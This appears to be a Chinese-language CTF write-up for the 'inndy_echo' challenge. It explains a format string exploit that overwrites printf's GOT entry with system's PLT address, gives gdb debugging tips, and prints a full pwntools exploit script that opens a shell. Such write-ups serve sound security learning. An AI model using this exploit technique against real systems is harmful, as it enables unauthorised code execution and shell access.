BUU-inndy_echo-WP

Posted on Nov 24, 2020

一道简单的hijack got,我做了一下午,原因是"%7$hn"写成了"$7hn",说到底来还是不熟练。

存在明显的格式化字符串漏洞。我们考虑劫持printf的got表值为system的plt地址。

payload = p32(printfgot + 2) + p32(printfgot) + "%2044c" + '%7$hn' + "%31740c" + '%8$hn'就有了这样的payload。

由于我在愚蠢的错误上卡住了,所以看了一些wp,发现pwntools集成了一个很强的工具,像这道题目我们可以通过fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr}),其中argue_place代表payload中前四个字符所在的参数位置(就是说%p$n中p的值)。这样就非常的方便。

然后我为了看我到底有没有修改got的值,我还看了一下如何借用gdb来动态调试,由于我使用的是wsl2,没有图形化界面,需要特殊处理

再exp中先指定terminal,添加一句

context.terminal = ['tmux','splitw','-h']

然后在创建进程变量后,添加

gdb.attach(proc.pidof(sh)[0],gdbscript="b main")#这里的sh是进程变量

这样调试时先打开tmux,然后就可以动态调试了

最后的exp

from pwn import *                                                                        
                                                                                         
context(log_level = 'debug',arch = 'i386',os = 'linux')                                  
#context.terminal = ['tmux','splitw','-h']                                                
                                                                                         
elf = ELF("./echo")                                                                      
printfgot = elf.got["printf"]                                                            
                                                                                         
sh =process("./echo")                                                                    
#sh = remote("node3.buuoj.cn","25950")                                                   
#gdb.attach(proc.pidof(sh)[0],gdbscript="b main")                                         
                                                                                         
payload = p32(printfgot + 2) + p32(printfgot) + "%2044c" + '%7$hn' + "%31740c" + '%8$hn' 
sh.sendline(payload)                                                                     
sh.recvuntil("\n")                                                                       
sh.sendline("/bin/sh\x00")                                                               
                                                                                         
sh.interactive()